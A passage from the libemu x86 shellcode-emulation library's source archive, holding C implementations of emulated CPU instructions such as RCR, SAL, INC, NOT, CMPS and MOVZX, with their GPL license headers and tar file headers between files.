MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *c->reg8[cl]); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /1 * Rotate 16 bits r/m16 right CL times * ROR r/m16,CL */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg8[cl]); } else { /* D3 /1 * Rotate 32 bits r/m32 right CL times * ROR r/m32,CL */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *c->reg8[cl]); } } return 0; } libemu-0.2.0+git20120122+564/src/functions/rcr.c0000644000175300017530000001714011706767213017577 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, b, cpu) \ UINTOF(bits) operation_result = (a); \ uint8_t operand_b = (b); \ { \ if( operand_b == 1 ) \ { \ if( (operation_result >> (bits - 1)) ^ (cpu->eflags >> f_cf) ) \ { \ CPU_FLAG_SET(cpu, f_of); \ } \ else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } \ operand_b = (operand_b & 0x1f) % (sizeof(operation_result) * 8 + 1); \ operation_result = operation_result >> operand_b | operation_result << (bits - operand_b + 1); \ if( CPU_FLAG_ISSET(cpu, f_cf) && operand_b > 0 ) \ { \ operation_result |= 1 << (bits - operand_b); \ } \ if( (a) & (1 << (operand_b - 1)) && operand_b > 0 ) \ { \ CPU_FLAG_SET(cpu, f_cf); \ } \ a = operation_result; \ } #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \ INSTR_CALC(bits, a, b, cpu) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 631*/ int32_t instr_group_2_c0_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* C0 /3 ib * Rotate nine bits (CF,r/m8) right imm8 times * RCR r/m8,imm8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *i->imm8); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* C0 /3 ib * Rotate nine bits (CF,r/m8) right imm8 times * RCR r/m8,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8); } return 0; } int32_t instr_group_2_c1_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /3 ib * Rotate 17 bits (CF,r/m16) right imm8 times * RCR r/m16,imm8 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *i->imm8); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* C1 /3 ib * Rotate 33 bits (CF,r/m32) right imm8 times * RCR r/m32,imm8 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *i->imm8); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /3 ib * Rotate 17 bits (CF,r/m16) right imm8 times * RCR r/m16,imm8 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm8); } else { /* C1 /3 ib * Rotate 33 bits (CF,r/m32) right imm8 times * RCR r/m32,imm8 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *i->imm8); } } return 0; } int32_t instr_group_2_d0_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D0 /3 * Rotate nine bits (CF,r/m8) right once * RCR r/m8,1 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, 1); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D0 /3 * Rotate nine bits (CF,r/m8) right once * RCR r/m8,1 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], 1); } return 0; } int32_t instr_group_2_d1_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /3 * Rotate 17 bits (CF,r/m16) right once * RCR r/m16,1 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, 1); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D1 /3 * Rotate 33 bits (CF,r/m32) right once * RCR r/m32,1 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, 1); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /3 * Rotate 17 bits (CF,r/m16) right once * RCR r/m16,1 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], 1); } else { /* D1 /3 * Rotate 33 bits (CF,r/m32) right once * RCR r/m32,1 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], 1); } } return 0; } int32_t instr_group_2_d2_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D2 /3 * Rotate nine bits (CF,r/m8) right CL times * RCR r/m8,CL */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *c->reg8[cl]); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D2 /3 * Rotate nine bits (CF,r/m8) right CL times * RCR r/m8,CL */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[cl]); } return 0; } int32_t instr_group_2_d3_rcr(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /3 * Rotate 17 bits (CF,r/m16) right CL times * RCR r/m16,CL */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *c->reg8[cl]); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D3 /3 * Rotate 33 bits (CF,r/m32) right CL times * RCR r/m32,CL */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *c->reg8[cl]); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /3 * Rotate 17 bits (CF,r/m16) right CL times * RCR r/m16,CL */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg8[cl]); } else { /* D3 /3 * Rotate 33 bits (CF,r/m32) right CL times * RCR r/m32,CL */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *c->reg8[cl]); } } return 0; } libemu-0.2.0+git20120122+564/src/functions/inc.c0000644000175300017530000001045111706767213017560 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #define INSTR_CALC(bits, a) \ UINTOF(bits) operand_a = a; \ UINTOF(bits) operation_result = operand_a+1; \ a = operation_result; #define INSTR_SET_FLAG_OF(cpu, bits) \ { \ int64_t sz = (INTOF(bits))operand_a; \ \ sz++; \ \ if (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \ || sz != (INTOF(bits))operation_result ) \ { \ CPU_FLAG_SET(cpu, f_of); \ }else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 341*/ #ifdef INSTR_CALC_AND_SET_FLAGS #undef INSTR_CALC_AND_SET_FLAGS #endif // INSTR_CALC_AND_SET_FLAGS #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a) \ INSTR_CALC(bits, a) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ INSTR_SET_FLAG_OF(cpu,bits) int32_t instr_inc_4x(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 40+ rw * Increment word register by 1 * INC r16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->opc & 7]) }else { /* 40+ rd * Increment doubleword register by 1 * INC r32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->opc & 7]) } return 0; } int32_t instr_group_4_fe_inc(struct emu_cpu *c, struct emu_cpu_instruction *i) { /* FE /0 * INC r/m8 * Increment r/m byte by 1 */ if ( i->modrm.mod != 3 ) { uint8_t dst; MEM_BYTE_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(8, c, dst) MEM_BYTE_WRITE(c, i->modrm.ea, dst); } else { INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm]) } return 0; } int32_t instr_group_5_ff_inc(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* FF /0 * Increment r/m word by 1 * INC r/m16 */ uint16_t dst; MEM_WORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(16, c, dst) MEM_WORD_WRITE(c, i->modrm.ea, dst); } else { /* FF /0 * Increment r/m doubleword by 1 * INC r/m32 */ uint32_t dst; MEM_DWORD_READ(c, i->modrm.ea, &dst); INSTR_CALC_AND_SET_FLAGS(32, c, dst) MEM_DWORD_WRITE(c, i->modrm.ea, dst); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* FF /0 * Increment r/m word by 1 * INC r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm]) } else { /* FF /0 * Increment r/m doubleword by 1 * INC r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm]) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/Makefile.am0000644000175300017530000000014111706767213020672 0ustar dt-npbdt-npb# libemu Makefile # Paul Baecher, Markus Koetter # $Id$ EXTRA_DIST = add.c EXTRA_DIST += misc.c libemu-0.2.0+git20120122+564/src/functions/sal.c0000644000175300017530000001626511706767213017577 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, b, cpu) \ UINTOF(bits) operation_result = (a); \ uint8_t operand_b = (b); \ { \ operand_b &= 0x1f; \ if( operand_b > 0 ) \ { \ if( operation_result & (1 << (bits - operand_b)) ) \ { \ CPU_FLAG_SET(cpu, f_cf); \ } \ operation_result <<= operand_b; \ if( operand_b == 1 ) \ { \ if( (operation_result >> (bits - 1)) ^ (cpu->eflags >> f_cf) ) \ { \ CPU_FLAG_SET(cpu, f_of); \ } \ else \ { \ CPU_FLAG_UNSET(cpu, f_of); \ } \ } \ a = operation_result; \ } \ } #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \ INSTR_CALC(bits, a, b, cpu) \ if (b > 0) \ { \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ } #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 662*/ int32_t instr_group_2_c0_sal(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* C0 /4 ib * Multiply r/m8 by 2, imm8 times * SAL r/m8,imm8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *i->imm8); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* C0 /4 ib * Multiply r/m8 by 2, imm8 times * SAL r/m8,imm8 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *i->imm8); } return 0; } int32_t instr_group_2_c1_sal(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /4 ib * Multiply r/m16 by 2, imm8 times * SAL r/m16,imm8 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *i->imm8); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* C1 /4 ib * Multiply r/m32 by 2, imm8 times * SAL r/m32,imm8 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *i->imm8); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* C1 /4 ib * Multiply r/m16 by 2, imm8 times * SAL r/m16,imm8 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *i->imm8); } else { /* C1 /4 ib * Multiply r/m32 by 2, imm8 times * SAL r/m32,imm8 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *i->imm8); } } return 0; } int32_t instr_group_2_d0_sal(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D0 /4 * Multiply r/m8 by 2, once * SAL r/m8,1 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, 1); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D0 /4 * Multiply r/m8 by 2, once * SAL r/m8,1 */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], 1); } return 0; } int32_t instr_group_2_d1_sal(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /4 * Multiply r/m16 by 2, once * SAL r/m16,1 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, 1); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D1 /4 * Multiply r/m32 by 2, once * SAL r/m32,1 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, 1); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D1 /4 * Multiply r/m16 by 2, once * SAL r/m16,1 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], 1); } else { /* D1 /4 * Multiply r/m32 by 2, once * SAL r/m32,1 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], 1); } } return 0; } int32_t instr_group_2_d2_sal(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { /* D2 /4 * Multiply r/m8 by 2, CL times * SAL r/m8,CL */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8, *c->reg8[cl]); MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* D2 /4 * Multiply r/m8 by 2, CL times * SAL r/m8,CL */ INSTR_CALC_AND_SET_FLAGS(8, c, *c->reg8[i->modrm.rm], *c->reg8[cl]); } return 0; } int32_t instr_group_2_d3_sal(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /4 * Multiply r/m16 by 2, CL times * SAL r/m16,CL */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16, *c->reg8[cl]); MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* D3 /4 * Multiply r/m32 by 2, CL times * SAL r/m32,CL */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32, *c->reg8[cl]); MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* D3 /4 * Multiply r/m16 by 2, CL times * SAL r/m16,CL */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm], *c->reg8[cl]); } else { /* D3 /4 * Multiply r/m32 by 2, CL times * SAL r/m32,CL */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm], *c->reg8[cl]); } } return 0; } libemu-0.2.0+git20120122+564/src/functions/int.c0000644000175300017530000000244111706767213017601 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" #include "emu/emu_string.h" int32_t instr_int_cd(struct emu_cpu *c, struct emu_cpu_instruction *i) { return 0; } libemu-0.2.0+git20120122+564/src/functions/not.c0000644000175300017530000000604611706767213017614 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, cpu) \ UINTOF(bits) operand_a = a; \ UINTOF(bits) operation_result = ~operand_a; \ a = operation_result; #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 497*/ #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a) \ INSTR_CALC(bits, a, cpu) int32_t instr_group_3_f6_not(struct emu_cpu *c, struct emu_cpu_instruction *i) { if (i->modrm.mod != 3) { /* F6 /2 * Reverse each bit of r/m8 * NOT r/m8 */ uint8_t m8; MEM_BYTE_READ(c, i->modrm.ea, &m8); INSTR_CALC_AND_SET_FLAGS(8, c, m8) MEM_BYTE_WRITE(c, i->modrm.ea, m8); } else { /* F6 /2 * Reverse each bit of r/m8 * NOT r/m8 */ INSTR_CALC_AND_SET_FLAGS(8,c,*c->reg8[i->modrm.rm]); } return 0; } int32_t instr_group_3_f7_not(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /2 * Reverse each bit of r/m16 * NOT r/m16 */ uint16_t m16; MEM_WORD_READ(c, i->modrm.ea, &m16); INSTR_CALC_AND_SET_FLAGS(16, c, m16) MEM_WORD_WRITE(c, i->modrm.ea, m16); } else { /* F7 /2 * Reverse each bit of r/m32 * NOT r/m32 */ uint32_t m32; MEM_DWORD_READ(c, i->modrm.ea, &m32); INSTR_CALC_AND_SET_FLAGS(32, c, m32) MEM_DWORD_WRITE(c, i->modrm.ea, m32); } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* F7 /2 * Reverse each bit of r/m16 * NOT r/m16 */ INSTR_CALC_AND_SET_FLAGS(16, c, *c->reg16[i->modrm.rm]) } else { /* F7 /2 * Reverse each bit of r/m32 * NOT r/m32 */ INSTR_CALC_AND_SET_FLAGS(32, c, c->reg[i->modrm.rm]) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/cmps.c0000644000175300017530000001412211706767213017750 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include #define INSTR_CALC(bits, a, b) \ UINTOF(bits) operand_a = a; \ UINTOF(bits) operand_b = b; \ UINTOF(bits) operation_result = operand_a - operand_b; //printf(" a %02x b %02x c %02x \n",operand_a, operand_b, operation_result); #include "emu/emu.h" #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_cpu_stack.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 127*/ #include #define INSTR_CALC_AND_SET_FLAGS(bits, cpu, a, b) \ INSTR_CALC(bits, a, b) \ INSTR_SET_FLAG_ZF(cpu) \ INSTR_SET_FLAG_PF(cpu) \ INSTR_SET_FLAG_SF(cpu) \ INSTR_SET_FLAG_CF(cpu, -) \ INSTR_SET_FLAG_OF(cpu, -,bits) #define INSTR_CALC_EDI_ESI(cpu,bits) \ { \ if ( !CPU_FLAG_ISSET(cpu,f_df) ) \ { \ cpu->reg[edi]+=bits/8; \ cpu->reg[esi]+=bits/8; \ } \ else \ { \ cpu->reg[edi]-=bits/8; \ cpu->reg[esi]-=bits/8; \ } \ } int32_t instr_cmps_a6(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_ADSIZE ) { /* A6 * Compares byte at address DS:SI with byte at address ES:DI and sets the status flags accordingly * CMPSB * Compares byte at address DS:SI with byte at address ES:DI and sets the status flags accordingly * CMPS m8, m8 */ } else { /* A6 * Compares byte at address DS:ESI with byte at address ES:EDI and sets the status flags accordingly * CMPSB * Compares byte at address DS:ESI with byte at address ES:EDI and sets the status flags accordingly * CMPS m8, m8 */ if ( i->prefixes & PREFIX_F3 ) { /* F3 A6 * Find nonmatching bytes in ES:[EDI] and DS:[ESI] * REPE CMPS m8,m8 */ if ( c->reg[ecx] > 0 ) { c->reg[ecx]--; c->repeat_current_instr = true; enum emu_segment oldseg = emu_memory_segment_get(c->mem); emu_memory_segment_select(c->mem,s_ds); uint8_t m8a; MEM_BYTE_READ(c, c->reg[esi], &m8a); emu_memory_segment_select(c->mem,s_es); uint8_t m8b; MEM_BYTE_READ(c, c->reg[edi], &m8b); emu_memory_segment_select(c->mem,oldseg); INSTR_CALC_AND_SET_FLAGS(8, c, m8a, m8b) INSTR_CALC_EDI_ESI(c, 8) /* REPE */ if ( CPU_FLAG_ISSET(c, f_zf) == 0 ) c->repeat_current_instr = false; } else { c->repeat_current_instr = false; } } else { enum emu_segment oldseg = emu_memory_segment_get(c->mem); emu_memory_segment_select(c->mem,s_ds); uint8_t m8a; MEM_BYTE_READ(c, c->reg[esi], &m8a); emu_memory_segment_select(c->mem,s_es); uint8_t m8b; MEM_BYTE_READ(c, c->reg[edi], &m8b); emu_memory_segment_select(c->mem,oldseg); INSTR_CALC_AND_SET_FLAGS(8, c, m8a, m8b) INSTR_CALC_EDI_ESI(c, 8) } } return 0; } int32_t instr_cmps_a7(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->prefixes & PREFIX_ADSIZE ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* A7 * Compares word at address DS:SI with word at address ES:DI and sets the status flags accordingly * CMPS m16, m16 * Compares word at address DS:SI with word at address ES:DI and sets the status flags accordingly * CMPSW */ } else { /* A7 * Compares doubleword at address DS:SI with doubleword at address ES:DI and sets the status flags accordingly * CMPS m32, m32 * CMPSD * Compares doubleword at address DS:SI with doubleword at address ES:DI and sets the status flags accordingly */ } } else { if ( i->prefixes & PREFIX_OPSIZE ) { /* A7 * Compares word at address DS:(E)SI with word at address ES:(E)DI and sets the status flags accordingly * CMPS m16, m16 * Compares word at address DS:(E)SI with word at address ES:(E)DI and sets the status flags accordingly * CMPSW */ enum emu_segment oldseg = emu_memory_segment_get(c->mem); emu_memory_segment_select(c->mem,s_ds); uint16_t m16a; MEM_WORD_READ(c, c->reg[esi], &m16a); emu_memory_segment_select(c->mem,s_es); uint16_t m16b; MEM_WORD_READ(c, c->reg[edi], &m16b); emu_memory_segment_select(c->mem,oldseg); INSTR_CALC_AND_SET_FLAGS(16, c, m16a, m16b) INSTR_CALC_EDI_ESI(c, 16) } else { /* A7 * Compares doubleword at address DS:(E)SI with doubleword at address ES:(E)DI and sets the status flags accordingly * CMPS m32, m32 * CMPSD * Compares doubleword at address DS:(E)SI with doubleword at address ES:(E)DI and sets the status flags accordingly */ enum emu_segment oldseg = emu_memory_segment_get(c->mem); emu_memory_segment_select(c->mem,s_ds); uint32_t m32a; MEM_DWORD_READ(c, c->reg[esi], &m32a); emu_memory_segment_select(c->mem,s_es); uint32_t m32b; MEM_DWORD_READ(c, c->reg[edi], &m32b); emu_memory_segment_select(c->mem,oldseg); INSTR_CALC_AND_SET_FLAGS(32, c, m32a, m32b) INSTR_CALC_EDI_ESI(c, 32) } } return 0; } libemu-0.2.0+git20120122+564/src/functions/movzx.c0000644000175300017530000000521011706767213020167 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "emu/emu_cpu.h" #include "emu/emu_cpu_data.h" #include "emu/emu_memory.h" /*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 486*/ #include #include int32_t instr_movzx_0fb6(struct emu_cpu *c, struct emu_cpu_instruction *i) { if ( i->modrm.mod != 3 ) { if ( i->prefixes & PREFIX_OPSIZE ) { /* 0F B6 /r * Move byte to word with zero-extension * MOVZX r16,r/m8 